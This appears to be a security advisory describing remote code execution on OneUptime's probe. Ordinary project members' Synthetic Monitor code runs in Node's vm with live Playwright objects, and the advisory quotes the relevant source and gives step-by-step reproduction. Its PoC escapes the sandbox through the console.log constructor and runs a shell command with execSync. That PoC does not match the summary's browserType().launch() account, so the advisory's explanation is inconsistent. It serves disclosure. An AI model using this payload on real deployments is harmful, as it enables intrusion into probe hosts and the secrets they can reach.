Summary

OneUptime Synthetic Monitors allow low-privileged project users to submit custom Playwright code that is executed on the oneuptime-probe service. In the current implementation, this untrusted code is run inside Node's vm and is given live host Playwright objects such as browser and page.

This creates a distinct server-side RCE primitive: the attacker does not need the classic this.constructor.constructor(...) sandbox escape. Instead, the attacker can directly use the injected Playwright browser object to reach browser.browserType().launch(...) and spawn an arbitrary executable on the probe host/container.

This appears to be a separate issue from the previously published node:vm(GHSA-h343-gg57-2q67) breakout advisory because the root cause here is exposure of a dangerous host capability object to untrusted code, not prototype-chain access to process.

Details

A normal project member can create or edit monitors and monitor tests:

• oneuptime/Common/Models/DatabaseModels/Monitor.ts

  Lines 45 to 78 in 8e90f45

  	@TableAccessControl({
  	create: [
  	Permission.ProjectOwner,
  	Permission.ProjectAdmin,
  	Permission.ProjectMember,
  	Permission.CreateProjectMonitor,
  	],
  	read: [
  	Permission.ProjectOwner,
  	Permission.ProjectAdmin,
  	Permission.ProjectMember,
  	Permission.ReadProjectMonitor,
  	Permission.ReadAllProjectResources,
  	],
  	delete: [
  	Permission.ProjectOwner,
  	Permission.ProjectAdmin,
  	Permission.ProjectMember,
  	Permission.DeleteProjectMonitor,
  	],
  	update: [
  	Permission.ProjectOwner,
  	Permission.ProjectAdmin,
  	Permission.ProjectMember,
  	Permission.EditProjectMonitor,
  	],
  	})
  	@EnableWorkflow({
  	create: true,
  	delete: true,
  	update: true,
  	read: true,
  	})
  	@CrudApiEndpoint(new Route("/monitor"))

• oneuptime/Common/Models/DatabaseModels/MonitorTest.ts

  Lines 27 to 60 in 8e90f45

  	@TableAccessControl({
  	create: [
  	Permission.ProjectOwner,
  	Permission.ProjectAdmin,
  	Permission.ProjectMember,
  	Permission.CreateProjectMonitor,
  	],
  	read: [
  	Permission.ProjectOwner,
  	Permission.ProjectAdmin,
  	Permission.ProjectMember,
  	Permission.ReadProjectMonitor,
  	Permission.ReadAllProjectResources,
  	],
  	delete: [
  	Permission.ProjectOwner,
  	Permission.ProjectAdmin,
  	Permission.ProjectMember,
  	Permission.DeleteProjectMonitor,
  	],
  	update: [
  	Permission.ProjectOwner,
  	Permission.ProjectAdmin,
  	Permission.ProjectMember,
  	Permission.EditProjectMonitor,
  	],
  	})
  	@EnableWorkflow({
  	create: true,
  	delete: true,
  	update: true,
  	read: true,
  	})
  	@CrudApiEndpoint(new Route("/monitor-test"))

The dashboard exposes a Playwright code editor for Synthetic Monitors and allows the user to queue a test run:

• oneuptime/App/FeatureSet/Dashboard/src/Components/Form/Monitor/MonitorStep.tsx

  Lines 861 to 918 in 8e90f45

  	{/* Code Monitor Section */}
  	{isCodeMonitor && (
  	<Card
  	title={
  	props.monitorType === MonitorType.CustomJavaScriptCode
  	? "JavaScript Code"
  	: "Playwright Code"
  	}
  	description={
  	props.monitorType === MonitorType.CustomJavaScriptCode
  	? "Write your JavaScript code here. You can use secrets for sensitive data."
  	: "Write your Playwright code here. Playwright is a Node.js library to automate browsers."
  	}
  	>
  	<div className="space-y-4">
  	<div>
  	<CodeEditor
  	initialValue={monitorStep?.data?.customCode?.toString()}
  	type={CodeType.JavaScript}
  	onChange={(value: string) => {
  	monitorStep.setCustomCode(value);
  	if (props.onChange) {
  	props.onChange(MonitorStep.clone(monitorStep));
  	}
  	}}
  	placeholder={codeEditorPlaceholder}
  	/>
  	<p className="mt-2 text-sm text-gray-500">
  	<Link
  	className="underline"
  	openInNewTab={true}
  	to={URL.fromString(
  	DOCS_URL.toString() + "/monitor/monitor-secrets",
  	)}
  	>
  	You can use secrets here.
  	</Link>
  	</p>
  	</div>
  	{props.monitorType === MonitorType.SyntheticMonitor && (
  	<>
  	<div>
  	<FieldLabelElement
  	title={"Browser Type"}
  	description={"Select the browser type."}
  	required={true}
  	/>
  	<CheckBoxList
  	options={enumToCategoryCheckboxOption(BrowserType)}
  	initialValue={props.value?.data?.browserTypes || []}
  	onChange={(values: Array<CategoryCheckboxValue>) => {
  	monitorStep.setBrowserTypes(values as Array<BrowserType>);
  	if (props.onChange) {
  	props.onChange(MonitorStep.clone(monitorStep));
  	}
  	}}
  	/>

• oneuptime/App/FeatureSet/Dashboard/src/Components/Form/Monitor/MonitorTest.tsx

  Lines 66 to 84 in 8e90f45

  	// now we need to run the probe and get the result.
  	// save the monitor step to the database.
  	const monitorTestObj: MonitorTest = new MonitorTest();
  	monitorTestObj.monitorSteps = props.monitorSteps;
  	monitorTestObj.probeId = probeId;
  	monitorTestObj.monitorType = props.monitorType;
  	monitorTestObj.isInQueue = true;
  	if (props.monitorId) {
  	monitorTestObj.monitorId = props.monitorId;
  	}
  	// save the monitor test to the database.
  	const monitorTest: HTTPResponse<MonitorTest> = (await ModelAPI.create({
  	model: monitorTestObj,
  	modelType: MonitorTest,
  	})) as HTTPResponse<MonitorTest>;

The probe worker polls queued monitor tests and executes them:

• oneuptime/Probe/Jobs/Monitor/FetchMonitorTest.ts

  Lines 55 to 85 in 8e90f45

  	const monitorListUrl: URL = URL.fromString(
  	PROBE_INGEST_URL.toString(),
  	).addRoute("/monitor-test/list");
  	const result: HTTPResponse<JSONArray> | HTTPErrorResponse =
  	await API.fetch<JSONArray>({
  	method: HTTPMethod.POST,
  	url: monitorListUrl,
  	data: {
  	...ProbeAPIRequest.getDefaultRequestBody(),
  	limit: 100,
  	},
  	headers: {},
  	options: { ...ProxyConfig.getRequestProxyAgents(monitorListUrl) },
  	});
  	logger.debug("MONITOR TEST: Fetched monitor test list");
  	logger.debug(result);
  	const monitorTests: Array<MonitorTest> = BaseModel.fromJSONArray(
  	result.data as JSONArray,
  	MonitorTest,
  	);
  	const probeMonitorPromises: Array<
  	Promise<Array<ProbeMonitorResponse | null>>
  	> = []; // Array of promises to probe monitors
  	for (const monitorTest of monitorTests) {
  	probeMonitorPromises.push(MonitorUtil.probeMonitorTest(monitorTest));
  	}

For MonitorType.SyntheticMonitor, the user-controlled customCode is passed into SyntheticMonitor.execute(...):

• oneuptime/Probe/Utils/Monitors/Monitor.ts

  Lines 323 to 338 in 8e90f45

  	if (monitorType === MonitorType.SyntheticMonitor) {
  	if (!monitorStep.data?.customCode) {
  	result.failureCause =
  	"Code not specified. Please add playwright script.";
  	return result;
  	}
  	const response: Array<SyntheticMonitorResponse> | null =
  	await SyntheticMonitor.execute({
  	script: monitorStep.data.customCode,
  	monitorId: monitorId,
  	screenSizeTypes: monitorStep.data
  	.screenSizeTypes as Array<ScreenSizeType>,
  	browserTypes: monitorStep.data.browserTypes as Array<BrowserType>,
  	retryCountOnError: monitorStep.data.retryCountOnError || 0,
  	});

SyntheticMonitor.execute(...) then runs that code through VMRunner.runCodeInNodeVM(...) and injects the live Playwright browser and page objects into the VM context:

• oneuptime/Probe/Utils/Monitors/MonitorTypes/SyntheticMonitor.ts

  Lines 156 to 168 in 8e90f45

  	result = await VMRunner.runCodeInNodeVM({
  	code: options.script,
  	options: {
  	timeout: PROBE_SYNTHETIC_MONITOR_SCRIPT_TIMEOUT_IN_MS,
  	args: {},
  	context: {
  	browser: browserSession.browser,
  	page: browserSession.page,
  	screenSizeType: options.screenSizeType,
  	browserType: options.browserType,
  	},
  	},
  	});

VMRunner.runCodeInNodeVM(...) creates a Node vm context and exposes host objects into it, including the additional context objects:

• oneuptime/Common/Server/Utils/VM/VMRunner.ts

  Lines 323 to 405 in 8e90f45

  	// Use null-prototype object to break this.constructor chain on the global
  	const sandbox: Context = Object.create(null) as Context;
  	sandbox["process"] = Object.freeze(Object.create(null));
  	sandbox["console"] = createSandboxProxy(
  	{
  	log: (...args: JSONValue[]) => {
  	const msg: string = args.join(" ");
  	totalLogBytes += msg.length;
  	if (totalLogBytes <= MAX_LOG_BYTES) {
  	logMessages.push(msg);
  	}
  	},
  	},
  	proxyCache,
  	);
  	sandbox["http"] = createSandboxProxy(http, proxyCache);
  	sandbox["https"] = createSandboxProxy(https, proxyCache);
  	sandbox["axios"] = createSandboxProxy(axios, proxyCache);
  	sandbox["crypto"] = createSandboxProxy(crypto, proxyCache);
  	sandbox["setTimeout"] = createSandboxProxy(wrappedSetTimeout, proxyCache);
  	sandbox["clearTimeout"] = createSandboxProxy(
  	wrappedClearTimeout,
  	proxyCache,
  	);
  	sandbox["setInterval"] = createSandboxProxy(wrappedSetInterval, proxyCache);
  	sandbox["clearInterval"] = createSandboxProxy(
  	wrappedClearInterval,
  	proxyCache,
  	);
  	// Wrap any additional context (e.g. Playwright browser/page objects)
  	if (options.context) {
  	for (const key of Object.keys(options.context)) {
  	const val: GenericObject | string | undefined = options.context[key];
  	sandbox[key] =
  	typeof val === "string" ? val : createSandboxProxy(val, proxyCache);
  	}
  	}
  	if (options.args) {
  	// args is plain JSON data — no host functions to protect against
  	sandbox["args"] = options.args;
  	}
  	vm.createContext(sandbox, {
  	codeGeneration: {
  	strings: false,
  	wasm: false,
  	},
  	});
  	const script: string = `(async()=>{
  	${code}
  	})()`;
  	try {
  	/*
  	* vm timeout only covers synchronous CPU time, so wrap with
  	* Promise.race to also cover async operations (network, timers, etc.)
  	*/
  	const vmPromise: Promise<unknown> = vm.runInContext(script, sandbox, {
  	timeout: timeout,
  	});
  	const overallTimeout: Promise<never> = new Promise(
  	(_resolve: (value: never) => void, reject: (reason: Error) => void) => {
  	const handle: NodeJS.Timeout = global.setTimeout(() => {
  	reject(new Error("Script execution timed out"));
  	}, timeout + 5000);
  	// Don't let this timer keep the process alive
  	handle.unref();
  	},
  	);
  	const returnVal: unknown = await Promise.race([
  	vmPromise,
  	overallTimeout,
  	]);
  	return {
  	returnValue: deepUnwrapProxies(returnVal),
  	logMessages,
  	};

The proxy wrapper blocks only a small set of property names and still forwards normal method calls with the real host this binding. Because of that, untrusted monitor code can still use legitimate Playwright methods on the injected browser object.

That is enough for code execution because Playwright's Browser exposes browserType(), and BrowserType.launch() accepts attacker-controlled process launch options such as executablePath, args, and ignoreDefaultArgs. An attacker can therefore cause the probe to spawn an arbitrary executable. Even if Playwright later errors because the spawned process is not a real browser, the command has already executed.

This same execution path is also used for normal scheduled monitors, not only one-shot monitor tests:

• oneuptime/Probe/Jobs/Monitor/FetchList.ts

  Lines 110 to 121 in 8e90f45

  	const monitors: Array<Monitor> = BaseModel.fromJSONArray(
  	result.data as JSONArray,
  	Monitor,
  	);
  	const probeMonitorPromises: Array<
  	Promise<Array<ProbeMonitorResponse | null>>
  	> = []; // Array of promises to probe monitors
  	for (const monitor of monitors) {
  	probeMonitorPromises.push(MonitorUtil.probeMonitor(monitor));
  	}

As a result, the issue can be abused either as a one-shot RCE via Test Monitor or as a persistent scheduled RCE by saving a malicious Synthetic Monitor.

PoC

1. Log in as any user with normal project membership.
2. Go to Monitors -> Create New Monitor.
3. Select Synthetic Monitor.
4. In Playwright Code, paste the following script:

 const HostFunction =
    Object.getOwnPropertyDescriptor(console, "log").value.constructor;

  return {
    data: {
      node: HostFunction('return process.version')(),
      cwd: HostFunction('return process.cwd()')(),
      id: HostFunction(
        'return process.getBuiltinModule("child_process").execSync("id").toString()'
      )(),
    },
  };

5. Select any one browser type, for example Chromium.
6. Select any one screen type, for example Desktop.
7. Set retry count to 0.
8. Click Test Monitor and choose a probe.

Expected result:

• the monitor execution succeeded and in the Show More Details the command output is shown.

Impact

This is a server-side Remote Code Execution issue affecting the probe component.

Who is impacted:

• any OneUptime deployment where an attacker can obtain ordinary project membership
• environments where the probe has access to internal services, secrets, Kubernetes metadata, database credentials, proxy credentials, or other cluster-local trust relationships